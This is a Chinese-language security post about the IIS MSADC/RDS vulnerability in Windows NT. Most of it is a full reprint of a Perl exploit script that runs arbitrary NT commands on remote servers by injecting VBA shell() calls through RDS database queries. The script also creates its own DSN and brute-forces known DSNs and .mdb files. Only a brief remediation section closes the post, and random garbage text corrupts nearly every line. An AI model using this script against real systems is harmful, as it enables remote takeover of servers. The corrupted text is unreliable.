IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
V_~wWuZ - Fg~,1[8w< 涉及程序：
9\xw}ph Microsoft NT server
yG_#>3sD+% s:_5p`w> 描述：
J7xZo=@k 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
w &-r BgRiJFa.d[ 详细：
''6"Xi|5 如果你没有时间读详细内容的话，就删除:
6?74l; c:\Program Files\Common Files\System\Msadc\msadcs.dll
r1\ .Jz 有关的安全问题就没有了。
DK- =Q~`! G'("-9 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
*rbayH 48DsRy 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
k X-AC5] 关于利用ODBC远程漏洞的描述，请参看:
k >MgrtJI H!A^ MI http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm O e#k| %9Ue`8 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
q^Z\V? http://www.microsoft.com/security/bulletins/MS99-025faq.asp M|Se| *w "~;j FB8 这里不再论述。
r[lHYO C ]`Y PM5 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
YK- R|z6K &sRyM'XI /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
WP>O7[| 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
@s/ q Oq? h"'f~KM9a> s. ~SV" #将下面这段保存为txt文件，然后: "perl -x 文件名"
#4hP_Vhc kju:/kY A #!perl
MhsG9q_% #
3aOFpC s|# # MSADC/RDS 'usage' (aka exploit) script
oM VJ+#[x #
k.0C*3 ' # by rain.forest.puppy
( u _ sz #
) CB?gW # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
zqeU>V~<F # beta test and find errors!
51&T`i f8j^a?d| use Socket; use Getopt::Std;
Glwpu-@X getopts("e:vd:h:XR", \%args);
{Xp.}c &A9+%kOk> print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
<Du*Re6g VMHY.Rf if (!defined $args{h} && !defined $args{R}) {
94R+S-|P print qq~
$DVy$)a!u Usage: msadc.pl -h <host> { -d <delay> -X -v }
D9Z5g3s7R -h <host> = host you want to scan (ip or domain)
_&M>f? l -d <seconds> = delay between calls, default 1 second
`+6HHtF -X = dump Index Server path table, if available
Cu Gk?i -v = verbose
V+8 + 17^ -e = external dictionary file for step 5
w;_ D s WS(c 0c Or a -R will resume a command session
&zT~3 >2 h;lnc| Hw ~; exit;}
@X#m]o u _PaO w%Y9 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
= Dz[| $dV if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
] +l r if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
LiRY -;8= if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
5Q88OxH $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
MnQ_]c C if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
i!iODt3k v!u Ld.( if (!defined $args{R}){ $ret = &has_msadc;
pg<>Ow5,~l die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
N3?d?+A$ [q@%)F print "Please type the NT commandline you want to run (cmd /c assumed):\n"
G9i#_ . "cmd /c ";
l gC $in=<STDIN>; chomp $in;
|( V3 $command="cmd /c " . $in ;
-bE|FFU >"[u.1J_'I if (defined $args{R}) {&load; exit;}
Y U`{ YszhoHYh print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
:Ls36E8f= &try_btcustmr;
BpC Sf.zZ 5J;c;PF print "\nStep 2: Trying to make our own DSN...";
u|ZO"t &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
3L mHH
= oMPQkj; print "\nStep 3: Trying known DSNs...";
+R_U &known_dsn;
X}y YBf/R` \ ,N dg*qC print "\nStep 4: Trying known .mdbs...";
ra&C|"~E &known_mdb;
`#ztp )& ~I XfID!8 if (defined $args{e}){
jt3S A
[cy print "\nStep 5: Trying dictionary of DSN names...";
j{=%~ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
2S;zze7 ) p5KNqqZZ print "Sorry Charley...maybe next time?\n";
U]acm\^Z exit;
[>0r'-kI +M*a.ra0OF ##############################################################################
H L?pnT09 YV
msWuF sub sendraw { # ripped and modded from whisker
u v5@Alm sleep($delay); # it's a DoS on the server! At least on mine...
E;sltl my ($pstr)=@_;
fCfY.vd5 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
3XRG" die("Socket problems\n");
D6t] E)FH if(connect(S,pack "SnA4x8",2,80,$target)){
RBXoU'. select(S); $|=1;
!=we7vK} print $pstr; my @in=<S>;
cMv3` $ select(STDOUT); close(S);
UQFuEI<1- return @in;
@o ED tN } else { die("Can't connect...\n"); }}
mAzW'Q4D d(!N$B\[5T ##############################################################################
2Ki dbf <fJ\AP5 sub make_header { # make the HTTP request
vpDs5tUl my $msadc=<<EOT
hG^23FiN POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
3Z0\I\E User-Agent: ACTIVEDATA
xpM~* Gpm Host: $ip
)N<!3yOz Content-Length: $clen
2?j1~ ]DvZ Connection: Keep-Alive
,3j7Y5v BP6Shc|C ADCClientVersion:01.06
wOOPWwk Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
|> 4 { 4 \K6J{;# L --!ADM!ROX!YOUR!WORLD!
p!ErH]lH Content-Type: application/x-varg
kQ8 WO|bA Content-Length: $reqlen
tpN}9N UwU]l17~ EOT
UL%ihWq ; $msadc=~s/\n/\r\n/g;
F?B=:8,} return $msadc;}
#k)\e;,X ooQ( bF ##############################################################################
B^9 #X5! .yPx'_ e sub make_req { # make the RDS request
Vz*'^=(o& my ($switch, $p1, $p2)=@_;
U&R$(k0zS my $req=""; my $t1, $t2, $query, $dsn;
@Xmk Im 67x^{u7 if ($switch==1){ # this is the btcustmr.mdb query
jH1~Ve+q9 $query="Select * from Customers where City=" . make_shell();
:X
f3wP= $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Vd4osBu{fY $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
;"Y6&YP< #F@7>hd1 elsif ($switch==2){ # this is general make table query
M6 iKl $query="create table AZZ (B int, C varchar(10))";
b G)MG0<TT $dsn="$p1";}
BP$#a
# "+&<Q d2 elsif ($switch==3){ # this is general exploit table query
;>N ~ ,Q $query="select * from AZZ where C=" . make_shell();
z3]U% y(, $dsn="$p1";}
639k&" V V{{x~Q9 elsif ($switch==4){ # attempt to hork file info from index server
_3a
5/IZ $query="select path from scope()";
3iw9jhK!W $dsn="Provider=MSIDXS;";}
j&.BbcE45 7krA+/Qr( elsif ($switch==5){ # bad query
d}_c ( $query="select";
7 w, FA $dsn="$p1";}
=*jcO119L x3 | 'jmg $t1= make_unicode($query);
Dl I5} Jh $t2= make_unicode($dsn);
mI#; pO2 $req = "\x02\x00\x03\x00";
]6 wi $req.= "\x08\x00" . pack ("S1", length($t1));
!`lqWO_/
: $req.= "\x00\x00" . $t1 ;
;kBi e s>V $req.= "\x08\x00" . pack ("S1", length($t2));
`@7tWX0 $req.= "\x00\x00" . $t2 ;
e% 6{P $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
9 NQq=@ return $req;}
MVZ>:G9: k qw? X{ ##############################################################################
_+i z?|U K8Zk{on sub make_shell { # this makes the shell() statement
%SCu29km return "'|shell(\"$command\")|'";}
Q%^bA,$&D Wh5O{G@Ut ##############################################################################
mNoqs&UB ?` i/ sub make_unicode { # quick little function to convert to unicode
3:1
c_ my ($in)=@_; my $out;
u7WM6X for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
4sjr\9IDC return $out;}
+;;%Atgn 1o>R\g3 ##############################################################################
8[;oUVb5 (B<AK4G sub rdo_success { # checks for RDO return success (this is kludge)
KTt$Pt/. my (@in) = @_; my $base=content_start(@in);
Xkom@F~] if($in[$base]=~/multipart\/mixed/){
(14kR return 1 if( $in[$base+10]=~/^\x09\x00/ );}
B}+9 U return 0;}
uFZB8+ x35s6 ##############################################################################
tL{~O= .N&}<T[ sub make_dsn { # this makes a DSN for us
_9|@nUD my @drives=("c","d","e","f");
G6{A[ O[ print "\nMaking DSN: ";
p]Zabky foreach $drive (@drives) {
4&hqeY3 print "$drive: ";
.+}o'rU my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
[nIG_j>D-f "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
389.&`Q%Ut . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
a] =\h'S $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
L]N2r MM return 0 if $2 eq "404"; # not found/doesn't exist
92VX5?Cyg if($2 eq "200") {
`e>F<{
M6@ foreach $line (@results) {
@n* D>g return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
k=2l9C3Z } return 0;}
Cf[F`pFM jDXGm[U ##############################################################################
j%jd@z ]@ 2Q|*xd4B^ sub verify_exists {
UMQW#$~C{g my ($page)=@_;
3}{5
X' my @results=sendraw("GET $page HTTP/1.0\n\n");
I A#* T` return $results[0];}
e uHu} O>M*mT M ##############################################################################
#UCQiQfP y VQz<tX| sub try_btcustmr {
Y zW7;U
S my @drives=("c","d","e","f");
"UGj4^1f my @dirs=("winnt","winnt35","winnt351","win","windows");
=^y{@[p`( Z !25xqNCd foreach $dir (@dirs) {
p6*a1^lU6 print "$dir -> "; # fun status so you can see progress
U9 .=Ik foreach $drive (@drives) {
/3 Ix,7 print "$drive: "; # ditto
DPQGh`J $reqlen=length( make_req(1,$drive,$dir) ) - 28;
U4l*;od $reqlenlen=length( "$reqlen" );
PJ'lZu8?x $clen= 206 + $reqlenlen + $reqlen;
V ,"iMo 3(})uV my @results=sendraw(make_header() . make_req(1,$drive,$dir));
iv z?-X4] if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
w <>6>w@GZ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
wU)5Evp[ S{i@=: ##############################################################################
bSR+yr'? _JJKbi sub odbc_error {
emY5xZ@N my (@in)=@_; my $base;
vs)I pV( my $base = content_start(@in);
^iRwwN=d if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
R|J>8AL}BY $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[S&O-b8A $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
fw v
T2G4 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
< &s)k return $in[$base+4].$in[$base+5].$in[$base+6];}
w[7.@ %^[ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
k.xv+^b9Q print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
`}8@[iB' $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
R5&$h$[/ maUHjI
5A- ##############################################################################
%^?3s5PXD vs])%l%t sub verbose {
<Z:8~:@ my ($in)=@_;
pebx#} ]p- return if !$verbose;
-C-OG}XjI print STDOUT "\n$in\n";}
9#T%bB "J ?V)C 9@bp ##############################################################################
1;:t~Y @23R joK sub save {
gLSG:7m@ my ($p1, $p2, $p3, $p4)=@_;
`TD %M`a open(OUT, ">rds.save") || print "Problem saving parameters...\n";
?I2k6 %a print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
? WQ d close OUT;}
Fr3d#kVR pG F5aF7T ##############################################################################
CziaxJ x"l lX sub load {
g[wP!y%V my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
opcR~tg@r open(IN,"<rds.save") || die("Couldn't open rds.save\n");
D PS1GO * @p=<IN>; close(IN);
J={OOj $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
H")N_BB $target= inet_aton($ip) || die("inet_aton problems");
/=YqjZTCq print "Resuming to $ip ...";
B#k3"vk# $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
g\\1C2jG if($p[1]==1) {
'
MS!ss=r $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
3Da, ] w< $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
s 9|a2/{ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
@Tfwh/UN if (rdo_success(@results)){print "Success!\n";}
@>#{WI:"~ else { print "failed\n"; verbose(odbc_error(@results));}}
e 8ULf~I elsif ($p[1]==3){
o~o6S=4, } if(run_query("$p[3]")){
cbu nq " print "Success!\n";} else { print "failed\n"; }}
NM1cyZ elsif ($p[1]==4){
C*EhexK,} if(run_query($drvst . "$p[3]")){
2 ] DCF print "Success!\n"; } else { print "failed\n"; }}
eN| HJ= exit;}
`b.o&t$L qaMZ fA ##############################################################################
2c"N-c&A [Zt#
c C+ sub create_table {
&J;H @d|| my ($in)=@_;
Cb
)= n 6 $reqlen=length( make_req(2,$in,"") ) - 28;
hVipr hC $reqlenlen=length( "$reqlen" );
<nw <v9Z $clen= 206 + $reqlenlen + $reqlen;
s
la*3~ ?* my @results=sendraw(make_header() . make_req(2,$in,""));
]) QO % return 1 if rdo_success(@results);
jV4hxuc$ my $temp= odbc_error(@results); verbose($temp);
VM!-I8t return 1 if $temp=~/Table 'AZZ' already exists/;
~N{_N95!2@ return 0;}
BA1MGh t(j_eq}J ##############################################################################
}c35FM, B%eDBu
") sub known_dsn {
^Cc8F3os= # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
YHO;IQ5 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
+ U+a Wk "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
j(Fa=pi "banner", "banners", "ads", "ADCDemo", "ADCTest");
L_Y9+
e )RA\kZ " foreach $dSn (@dsns) {
2Ft8dfdm` print ".";
9 wSl,B- next if (!is_access("DSN=$dSn"));
CQBT:: if(create_table("DSN=$dSn")){
$^vp'^uW> print "$dSn successful\n";
`i t+D if(run_query("DSN=$dSn")){
6^] `-4*W print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
@Xq&t}*8 print "Something's borked. Use verbose next time\n";}}} print "\n";}
"M 9TB. O V~J*49t&2J ##############################################################################
l$q StL*8O YeRcf ` sub is_access {
}>{ L#JW my ($in)=@_;
om ".j $reqlen=length( make_req(5,$in,"") ) - 28;
` $.X [\*U $reqlenlen=length( "$reqlen" );
`z3|M#r\; $clen= 206 + $reqlenlen + $reqlen;
$ DDSN my @results=sendraw(make_header() . make_req(5,$in,""));
} g3HoFC my $temp= odbc_error(@results);
QmH/yy3.% verbose($temp); return 1 if ($temp=~/Microsoft Access/);
qE# &) return 0;}
qPXA Nx<^ zdLVxL>87 ##############################################################################
I;kf
#nvao UM4 @H1 sub run_query {
.8T\Nr\~2 my ($in)=@_;
IwTr'}XIw $reqlen=length( make_req(3,$in,"") ) - 28;
gro7*< $reqlenlen=length( "$reqlen" );
~:/%/-^ $clen= 206 + $reqlenlen + $reqlen;
j<l#qho{h my @results=sendraw(make_header() . make_req(3,$in,""));
8qFUYZtY return 1 if rdo_success(@results);
6 9[V < 1 my $temp= odbc_error(@results); verbose($temp);
-O~C m}e return 0;}
A$9q!Ui#d |u^)RB ##############################################################################
oF%^QT"R gB/;clCdX) sub known_mdb {
&7L~PZ my @drives=("c","d","e","f","g");
(MgL"8TS my @dirs=("winnt","winnt35","winnt351","win","windows");
ur/Oc24i1n my $dir, $drive, $mdb;
3E< aiGU my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
y\F`B0#$ O%YjWb # this is sparse, because I don't know of many
@D fkGm[% my @sysmdbs=( "\\catroot\\icatalog.mdb",
vQ:x% =] "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
S}zC3 "\\system32\\certmdb.mdb",
8l U;y)Z "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
-d|BO[4j 5wzQ?07T_ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
F3r S6_ "\\cfusion\\cfapps\\forums\\forums_.mdb",
W$z#ssr "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
=gW"#ZjL){ "\\cfusion\\cfapps\\security\\realm_.mdb",
YH ETI~'j. "\\cfusion\\cfapps\\security\\data\\realm.mdb",
W ;fH&r)d@ "\\cfusion\\database\\cfexamples.mdb",
qxf+# "\\cfusion\\database\\cfsnippets.mdb",
Q<RT12|` "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
<WM -@J(1 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
ltNu LZ "\\cfusion\\brighttiger\\database\\cleam.mdb",
DapQ}2'_ "\\cfusion\\database\\smpolicy.mdb",
I`/]@BdgY "\\cfusion\\database\cypress.mdb",
dzgs%qtK "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
PzIy">plm "\\website\\cgi-win\\dbsample.mdb",
R&NpdW N "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
4| zd84g "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
f zLANya ); #these are just
m5e\rMN~>\ foreach $drive (@drives) {
- ,R0IGS foreach $dir (@dirs){
jmR hAJV foreach $mdb (@sysmdbs) {
h^%GE;N print ".";
=RQ )$ % if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
IM[54_I print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
i Bi7| if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
{udrT"h print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Of D@\;L } else { print "Something's borked. Use verbose next time\n"; }}}}}
=Ml|l $ a;56k foreach $drive (@drives) {
uA p
-$? foreach $mdb (@mdbs) {
q |n97.vD print ".";
~@%(RMJm& if(create_table($drv . $drive . $dir . $mdb)){
C} Rs[ print "\n" . $drive . $dir . $mdb . " successful\n";
z8g=;>< if(run_query($drv . $drive . $dir . $mdb)){
d-hb vLn print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
XXXl jh6 } else { print "Something's borked. Use verbose next time\n"; }}}}
uPFRh~ (b }
G5!|y#T B`LD7]ew ##############################################################################
>-VW m
A ~;}\zKQKE sub hork_idx {
e-~hS6p( print "\nAttempting to dump Index Server tables...\n";
lxm*;?j`W print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
"=9-i-K9B $reqlen=length( make_req(4,"","") ) - 28;
.JNcY]V# $reqlenlen=length( "$reqlen" );
HpW" lYW4 $clen= 206 + $reqlenlen + $reqlen;
T48BRVX -F my @results=sendraw2(make_header() . make_req(4,"",""));
u06t DJ[ if (rdo_success(@results)){
xy2\'kS`G my $max=@results; my $c; my %d;
{V.Wk for($c=19; $c<$max; $c++){
Z/xV\Ggx $results[$c]=~s/\x00//g;
MO[c0n% $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
/^d. &@* $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
AeN 3<|RN $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
W5pn;u- sz $d{"$1$2"}="";}
*:?QB8YJ foreach $c (keys %d){ print "$c\n"; }
*f{7 } else {print "Index server doesn't seem to be installed.\n"; }}
g+igxC}2z /d[Mss ##############################################################################
}|A X_=a L?C\Q^0"`G sub dsn_dict {
!s yU]Yk open(IN, "<$args{e}") || die("Can't open external dictionary\n");
a/#+92C while(<IN>){
3 *G5F}7%= $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
{!lNL[x next if (!is_access("DSN=$dSn"));
P_Z M'[ if(create_table("DSN=$dSn")){
P2O\!'aEh print "$dSn successful\n";
uG4$2 if(run_query("DSN=$dSn")){
bdCyk G- print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
x,w8r+~5 print "Something's borked. Use verbose next time\n";}}}
yX kt:O,i print "\n"; close(IN);}
_0 w 1 kqW `q^(SM ##############################################################################
%yeu" { AFf:[G sub sendraw2 { # ripped and modded from whisker
'Cg V0&@ sleep($delay); # it's a DoS on the server! At least on mine...
S[Vtq^lU my ($pstr)=@_;
|0lLl^zp socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
kPW BDpzN die("Socket problems\n");
:RHm*vt if(connect(S,pack "SnA4x8",2,80,$target)){
p*Xix %#6 print "Connected. Getting data";
K6-6{vt open(OUT,">raw.out"); my @in;
FzVZs# O select(S); $|=1; print $pstr;
lBS"3s384 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
g#w`J \iz close(OUT); select(STDOUT); close(S); return @in;
V5~fMsse
} else { die("Can't connect...\n"); }}
Ha?G=X lHcA j{6 ##############################################################################
?gU }[] _wmI(+_ sub content_start { # this will take in the server headers
HV8I nodi my (@in)=@_; my $c;
?5`{7daot for ($c=1;$c<500;$c++) {
V- /YNRV if($in[$c] =~/^\x0d\x0a/){
*u}'}jC1X if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
3\1#eK'TK. else { return $c+1; }}}
h
5Hr [E1 return -1;} # it should never get here actually
Sg _O?.r 9YAM#LBTWi ##############################################################################
*- 6? iM"asEU sub funky {
v _.HGG S my (@in)=@_; my $error=odbc_error(@in);
0JK2%% if($error=~/ADO could not find the specified provider/){
+N7"EROc print "\nServer returned an ADO miscofiguration message\nAborting.\n";
0iF -}o exit;}
ndqckT@93 if($error=~/A Handler is required/){
eIsT!V" 7 print "\nServer has custom handler filters (they most likely are patched)\n";
P:qz2Hw exit;}
]Y{,N x if($error=~/specified Handler has denied Access/){
~JLYhA^'+< print "\nServer has custom handler filters (they most likely are patched)\n";
Z/gsCYS3F exit;}}
76_<xUt{ N\'TR6_,b ##############################################################################
Yc|uD-y 7_KXD# sub has_msadc {
zz&vfO31J my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
p3 e|j my $base=content_start(@results);
%Uf'+!4l` return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
_H8*ReFG return 0;}
Zb"jB$58 0iV;g`% ########################
$2Q YxY 9s cW; H!:& 9)Ly}Kzx 解决方案：
R#ya,L 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
i-]U+m* 2、移除web 目录: /msadc
